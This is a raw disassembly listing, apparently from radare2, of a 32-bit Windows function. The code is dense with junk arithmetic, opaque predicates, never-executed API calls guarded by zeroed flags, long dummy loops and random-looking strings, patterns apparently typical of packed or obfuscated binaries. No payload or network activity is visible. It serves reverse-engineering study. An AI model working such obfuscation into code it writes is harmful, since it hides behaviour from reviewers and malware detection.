mov dword [ebp + eax*4 - 0xac4], 0x8d247f69
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], esi
jl 0x46c3c2
mov esi, dword [ebp - 0x628]
mov dword [ebp - 0x58], esi
mov dword [esi + 4], 0xffffffea
mov dword [ebp - 0x24], 0xe2c0d37a
mov dword [ebp - 0x4c], 0xfffffffe
push 3
lea ecx, [ebp - 0x358]
call fcn.00450d2f
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x3c], 0x819b53b3
mov dword [ebp - 0x20], 0
jmp 0x46c426
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x358]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46c416
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], 0
jl 0x46c59e
mov edi, dword [ebp - 0x7a8]
mov esi, dword [ebp - 0x358]
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x30], 0x1bf07968
xor ebx, ebx
inc ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], 2
push 3
lea ecx, [ebp - 0x268]
call fcn.00450d2f
mov dword [ebp - 0x30], 0x19c36c1
mov dword [ebp - 0x30], 0x1d4b4ea6
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x20], 0
jmp 0x46c49e
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x268]
mov dword [eax + ecx*4], 0x7af9ca3e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46c48b
cmp dword [ebp - 0x3c], 0
je 0x46c4b9
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x908], ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [edi + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov ecx, 0xaac4e246
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x28]
mov ecx, dword [ebp - 0x48]
add ecx, 0xfffffffa
mov eax, dword [ebp - 0x268]
mov dword [eax], ecx
mov dword [ebp - 0x54], ecx
cmp dword [esi + 8], 0xe55e
jg 0x46c511
cmp dword [ebp - 0x4c], 0
je 0x46c511
mov edx, ebx
jmp 0x46c513
xor edx, edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
xor edx, edx
cmp eax, ecx
setle dl
mov eax, dword [ebp - 0xac0]
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, 9
neg ecx
sbb ecx, ecx
inc ecx
push 0
pop eax
sets al
xor ecx, ecx
cmp eax, 0x9de5
setne cl
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setg dl
mov eax, dword [ebp - 0x268]
add edx, dword [eax + 8]
xor ebx, ebx
mov eax, dword [ebp - 0x358]
cmp edx, dword [eax]
setg bl
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
cmp ebx, eax
setg cl
mov eax, dword [ebp - 0x268]
mov dword [eax], ecx
lea ecx, [ebp - 0x268]
call fcn.00450e01
dec dword [ebp - 0x24]
jns 0x46c445
mov esi, dword [ebp - 0x58]
xor edi, edi
inc edi
lea ecx, [ebp - 0x358]
call fcn.00450e01
inc dword [esi + 4]
cmp dword [esi + 4], 0xfffffff4
jne 0x46c3e8
lea ecx, [ebp - 0x7a8]
call fcn.00450e01
lea ecx, [ebp - 0xb64]
call fcn.00450e01
lea ecx, [ebp - 0x628]
call fcn.00450e01
push 4
pop ebx
push ebx
lea ecx, [ebp - 0xb7c]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46c60a
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb7c]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46c5f0
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46c61f
push eax
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46c62f
push eax
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
lea ecx, [ebp - 0xb7c]
call fcn.00450e01
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x46c65e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xde0], 0xf84b8114
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46c645
xor eax, eax
mov dword [ebp - 0x58], eax
push 2
pop esi
cmp dword [ebp - 0x58], esi
jg 0x46ce06
movdqa xmm0, xmmword [0xabe780]
movdqu xmmword [ebp - 0xc08], xmm0
lea ecx, [ebp - 0xc08]
lea eax, [ebp - 0xbf8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x640]
call fcn.00450ddb
or eax, 0xffffffff
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x4c], 0xffff
mov dword [ebp - 0x1c], 0
jmp 0x46c6c1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd04], 0xeac8b13e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x46c6b0
mov dword [ebp - 0x1c], 0
jmp 0x46c6e1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4f8], 0x57736d0c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x46c6d0
mov edi, dword [ebp - 0x640]
and dword [edi + 4], 0
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x418]
call fcn.00450d2f
push 3
lea ecx, [ebp - 0x874]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x46c730
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x418]
mov dword [eax + ecx*4], 0xc9ca3191
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46c716
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x46c751
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x874]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x46c739
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46c773
push 0x1dd7
push 0x2135
push eax
push 0x264b
push eax
call dword [sym.imp.USER32.dll_GetMenuStringW]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x46c7ad
mov eax, dword [ebp - 0x54]
mov eax, dword [edi + 4]
mov dword [ebp + eax*4 - 0xd04], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4f8], ebx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x46c885
push 0x1eaf
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
jmp 0x46c885
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x46c7d0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xadc], 0xf51b4373
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x46c7b8
xor eax, eax
mov ecx, dword [ebp - 0x418]
cmp dword [ecx], eax
jne 0x46c816
mov ecx, dword [ecx]
cmp dword [ebp - 0x4f8], ecx
jge 0x46c7ea
test ecx, ecx
mov ecx, eax
je 0x46c7ec
mov ecx, ebx
xor eax, eax
cmp ecx, dword [edi + 4]
setge al
cmp eax, 0xf0aeacb2
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
setge dl
mov eax, dword [ebp - 0x418]
mov dword [eax], edx
test edx, edx
jne 0x46c816
xor esi, esi
jmp 0x46c818
mov esi, ebx
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x640]
cmp ecx, dword [eax]
setle dl
xor eax, eax
cmp edx, 0x514f
setne al
imul eax, esi
push 7
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
xor ecx, ecx
cmp eax, 0x5ee87909
setle cl
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x874]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, dword [edx + 4]
setl cl
mov dword [ebp - 0xadc], ecx
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x46c882
push eax
push 0x20b8
push 0x613
push 0x20a7
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 2
pop esi
lea ecx, [ebp - 0x874]
call fcn.00450e01
lea ecx, [ebp - 0x418]
call fcn.00450e01
inc dword [edi + 4]
cmp dword [edi + 4], esi
jle 0x46c6f3
lea ecx, [ebp - 0x640]
call fcn.00450e01
or ebx, 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x38], 0x549e
xor eax, eax
mov dword [ebp - 0x3c], eax
xor edi, edi
inc edi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x28], 0x85ba5616
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x20], eax
jmp 0x46c8e6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xcb0], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46c8d9
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x54]
mov ecx, edi
sub ecx, eax
je 0x46c917
cmp dword [ebp - 0x24], 0
je 0x46c917
mov edx, edi
jmp 0x46c919
xor edx, edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
setge dl
mov dword [ebp - 0xcb0], edx
neg edx
sub edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
xor eax, eax
cmp edx, 0x2c0d
setg al
mov ecx, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x4c], ecx
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x1c], 6
push edi
lea ecx, [ebp - 0x2b8]
call fcn.00450d2f
mov dword [ebp - 0x2c], 0x4caa8e55
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x48], 0xbe92e3f9
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x5c], 0x3de467b4
mov dword [ebp - 0x3c], 0x6afb
cmp dword [ebp - 0x3c], 0x6dab
jle 0x46ca10
xor ecx, ecx
mov dword [ebp - 0x18], ecx
xor eax, eax
mov dword [ebp - 0x28], eax
xor edi, edi
xor esi, esi
lea ebx, [eax + ecx]
mov ecx, edi
sar ebx, cl
mov eax, ebx
mov ecx, esi
sar eax, cl
cdq
push edx
push eax
mov ecx, 0xaca3b8
call fcn.00450c1a
inc esi
cmp esi, 0x5e37
jl 0x46c9bd
inc edi
cmp edi, 0x18d8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
jl 0x46c9b4
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x397e
jl 0x46c9b2
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 8
cmp dword [ebp - 0x3c], 0x697c
jge 0x46ca36
mov edx, str.esnjiom_almpxpt_nfoce_uvvhugut_cnsyinhjo_bwmoxuz_jbdipoqrt_ubz
mov ecx, 0xaca3b8
call fcn.004525c0
mov dword [ebp - 4], ebx
jmp 0x46ca61
xor eax, eax
mov dword [ebp - 0x3c], 0xedb6b7be
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x54], 0x870b1b9b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x46ca99
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x3c], 0x2304b25b
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x28], eax
je 0x46ce22
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], eax
jmp 0x46ce38
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x46ce38
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
cmp dword [ebp - 0x40], 0
jne 0x46ce4b
mov eax, dword [ebp - 0x370]
inc dword [eax]
jmp 0x46c1c8
lea ecx, [ebp - 0x370]
call fcn.00450e01
mov dword [ebp - 0x24], 0x5540d7f8
mov dword [ebp - 0x24], 0x1b
cmp dword [ebp - 0x24], 0xfffffff0
je 0x46cef5
xor eax, eax
mov dword [ebp - 0x2c], 0xdce9d05b
mov dword [ebp - 0x2c], eax
jmp 0x46cee2
mov dword [ebp - 0x20], 0xff82ff40
mov dword [ebp - 0x20], eax
jmp 0x46ceda
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46cea4
push eax
push 0x1921
push 0x129d
call dword [sym.imp.USER32.dll_GetScrollInfo]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46ced7
push 0x16d1
push 0x1225
push 0x2164
push 0xbb4
push 0x246e
push eax
push eax
push eax
push eax
push 0xe31
call dword [sym.imp.USER32.dll_DrawStateW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
je 0x46ce88
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffed
jne 0x46ce7c
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff0
jne 0x46ce70
mov dword [ebp - 0x24], 0xffffffe8
push 4
pop ebx
cmp dword [ebp - 0x24], 0xfffffff4
jge 0x46cfd4
xor eax, eax
mov dword [ebp - 0x2c], 0x4f3d4e6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46cf32
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd1c], 0x94d03572
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46cf1a
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffd
jmp 0x46cfaf
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x46cf5b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xfc], 0x17059141
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x46cf43
xor eax, eax
mov dword [ebp - 0xf8], ebx
jmp 0x46cf91
mov dword [ebp - 0x20], 0xd303f024
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], eax
jl 0x46cf8b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd1c], 0
dec dword [ebp - 0x20]
jns 0x46cf76
xor eax, eax
inc dword [ebp - 0xf8]
cmp dword [ebp - 0xf8], 0xa
jle 0x46cf63
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46cfac
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x11
jle 0x46cf3b
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46cfc7
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff4
jl 0x46cf0b
push edi
lea ecx, [ebp - 0x7d8]
call fcn.00450d2f
mov dword [ebp - 0x20], 0
jmp 0x46cffc
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x7d8]
mov dword [eax + ecx*4], 0x91a049fe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46cfe9
mov eax, dword [ebp - 0x7d8]
and dword [eax], 0
lea ecx, [ebp - 0x7d8]
call fcn.00450e01
mov dword [ebp - 0x44], 0x50a44c
mov dword [ebp - 0x24], 0x5540d7f8
mov dword [ebp - 0x24], 0x1b
cmp dword [ebp - 0x24], 0xfffffff0
je 0x46d0bb
xor eax, eax
mov dword [ebp - 0x2c], 0xdce9d05b
mov dword [ebp - 0x2c], eax
jmp 0x46d0a8
mov dword [ebp - 0x20], 0xff82ff40
mov dword [ebp - 0x20], eax
jmp 0x46d0a0
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46d06a
push eax
push 0x1921
push 0x129d
call dword [sym.imp.USER32.dll_GetScrollInfo]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46d09d
push 0x16d1
push 0x1225
push 0x2164
push 0xbb4
push 0x246e
push eax
push eax
push eax
push eax
push 0xe31
call dword [sym.imp.USER32.dll_DrawStateW]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
je 0x46d04e
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffed
jne 0x46d042
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff0
jne 0x46d036
mov dword [ebp - 0x24], 0xffffffe8
cmp dword [ebp - 0x24], 0xfffffff4
jge 0x46d197
xor eax, eax
mov dword [ebp - 0x2c], 0x4f3d4e6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46d0f5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd2c], 0x94d03572
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46d0dd
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffd
jmp 0x46d172
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x46d11e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x104], 0x17059141
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x46d106
xor eax, eax
mov dword [ebp - 0x100], ebx
jmp 0x46d154
mov dword [ebp - 0x20], 0xd303f024
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], eax
jl 0x46d14e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd2c], 0
dec dword [ebp - 0x20]
jns 0x46d139
xor eax, eax
inc dword [ebp - 0x100]
cmp dword [ebp - 0x100], 0xa
jle 0x46d126
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46d16f
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x11
jle 0x46d0fe
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x46d18a
push eax
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff4
jl 0x46d0ce
or esi, 0xffffffff
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x48], 0x67f5ed9a
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0xc80fc3a0
mov dword [ebp - 0x30], 0x4f823aaf
mov dword [ebp - 0x38], 0x4a91
cmp dword [ebp - 0x38], 0x4e78
jle 0x46d227
xor ecx, ecx
mov dword [ebp - 0x20], ecx
xor eax, eax
mov dword [ebp - 0x28], eax
xor esi, esi
mov dword [ebp - 0x3c], esi
mov edi, esi
mov ebx, 0x3b4f
mov esi, dword [ebp - 0x28]
mov eax, esi
or eax, ecx
or eax, edi
cdq
push edx
push eax
mov ecx, 0xaca3b8
call fcn.00450c1a
dec edi
dec ebx
mov ecx, dword [ebp - 0x20]
jne 0x46d1de
mov esi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x3c], esi
cmp esi, 0xdac
jl 0x46d1d4
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x4ffd
jl 0x46d1cf
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x80c
jl 0x46d1ca
xor edi, edi
inc edi
or esi, 0xffffffff
mov dword [ebp - 0x3c], edi
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x38], 0x4a69
jge 0x46d249
mov edx, str.ukui_tvjmgkrj_ztmnbkki
mov ecx, 0xaca3b8
call fcn.004525c0
mov dword [ebp - 4], esi
jmp 0x46d271
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x46d289
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf6c], 0xfebfb2c4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46d278
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setne dl
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0xffffb5f3
setge al
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x3c]
mov dword [ebp - 0x1c], 6
push edi
lea ecx, [ebp - 0x290]
call fcn.00450d2f
mov dword [ebp - 0x58], 0x4caa8e55
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x5c], 0xbe92e3f9
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x4c], 0x3de467b4
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], 0xedb6b7be
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0x870b1b9b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x46d339
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x290]
mov dword [eax + ecx*4], 0x2a1836cc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46d31f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff2
jne 0x46d38c
push 2
lea ecx, [ebp - 0x688]
call fcn.00450d2f
mov dword [ebp - 0x20], 0
jmp 0x46d368
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x688]
and dword [eax + ecx*4], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x46d358
mov eax, dword [ebp - 0x688]
inc dword [eax]
lea ecx, [ebp - 0x688]
call fcn.00450e01
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff2
je 0x46d342
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x46d547
push 3
lea ecx, [ebp - 0x6a0]
call fcn.00450d2f
mov dword [ebp - 0x30], 0xc9995890
mov dword [ebp - 0x30], 0x8939f5fa
mov dword [ebp - 0x30], 0xe6b6cd3
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 0xee56e31b
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x30], esi
push 4
lea ecx, [ebp - 0x85c]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x46d40b
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6a0]
mov dword [eax + ecx*4], 0x83066c93
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x46d3f0
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x46d42f
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x85c]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x46d414
xor eax, eax
mov ebx, dword [ebp - 0x6a0]
mov dword [ebx + 4], eax
mov ecx, dword [ebp - 0x85c]
mov dword [ebp - 0x48], ecx
jmp 0x46d445
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], eax
jmp 0x46d45e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2ac], 0xaa61fc2d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46d44d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp eax, edi
setle cl
sub ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x4c]
sub edx, dword [ebp - 0x5c]
neg edx
sbb edx, edx
inc edx
sub edx, ecx
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x290]
add edx, dword [eax + esi*4]
jne 0x46d4a7
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x290]
cmp dword [eax + ecx*4], edx
je 0x46d4a9
mov edx, edi
dec dword [ebp - 0x28]
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x2ac], esi
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
sete cl
mov eax, dword [ebp - 0x3c]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x48]
sub edx, dword [eax + 4]
mov ecx, dword [ebp - 0x58]
add ecx, edx
add ecx, esi
xor edx, edx
mov eax, dword [ebp - 0x290]
cmp dword [eax + edi*4], ecx
sete dl
add edx, 7
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
inc dword [ebx + 4]
cmp dword [ebx + 4], 0
push 1
pop edi
jle 0x46d443
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x46d51c
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.GDI32.dll_ExtCreatePen]
lea ecx, [ebp - 0x85c]
call fcn.00450e01
lea ecx, [ebp - 0x6a0]
call fcn.00450e01
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0
push 1
pop edi
push 0xffffffffffffffff
pop esi
jle 0x46d398
or esi, esi
lea ecx, [ebp - 0x290]
call fcn.00450e01
mov dword [ebp - 0x20], 0x5540d7f8
mov dword [ebp - 0x20], 0x1b
cmp dword [ebp - 0x20], 0xfffffff0
je 0x46dfdd
mov dword [ebp - 0x28], 0xdce9d05b
push edi
lea ecx, [ebp - 0x7f0]
call fcn.00450d2f
mov dword [ebp - 0x30], 0xc7555b7c
mov dword [ebp - 0x2c], 0
jmp 0x46d5a0
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x7f0]
mov dword [eax + ecx*4], 0x7e2799ac
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x46d58d
mov eax, dword [ebp - 0x7f0]
and dword [eax], 0
lea ecx, [ebp - 0x7f0]
call fcn.00450e01
mov dword [ebp - 0x28], 0
push 2
pop ebx
cmp dword [ebp - 0x28], 0xffffffed
je 0x46dfd5
mov dword [ebp - 0x38], 0xff82ff40
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x2c], 0xfa147b80
push ebx
lea ecx, [ebp - 0x6b8]
call fcn.00450d2f
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x48], 0xa47
cmp dword [ebp - 0x48], 0xd9d
jle 0x46d66d
xor eax, eax
mov dword [ebp - 0x38], eax
xor esi, esi
mov dword [ebp - 0x3c], esi
mov edi, esi
mov ebx, 0x28cb
mov esi, dword [ebp - 0x38]
mov eax, esi
or eax, edi
cdq
push edx
push eax
lea ecx, [ebp - 0xe1c]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.00450c0f
push eax
call fcn.004b40b7
pop ecx
push 0
push 1
lea ecx, [ebp - 0xe1c]
call fcn.0045110b
dec edi
dec ebx
jne 0x46d615
mov esi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x3c], esi
cmp esi, 0x708f
jl 0x46d60b
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x7f14
jl 0x46d606
xor edi, edi
inc edi
push 2
pop ebx
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x48], 0x755
jge 0x46d688
push str.fmzqx_fdgujjcm_zugj_ctlcnbtfy_tmlqrk
call fcn.004b40b7
pop ecx
or esi, 0xffffffff
mov dword [ebp - 4], esi
jmp 0x46d6b6
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x46d6da
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6b8]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x46d6c0
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x46d6f6
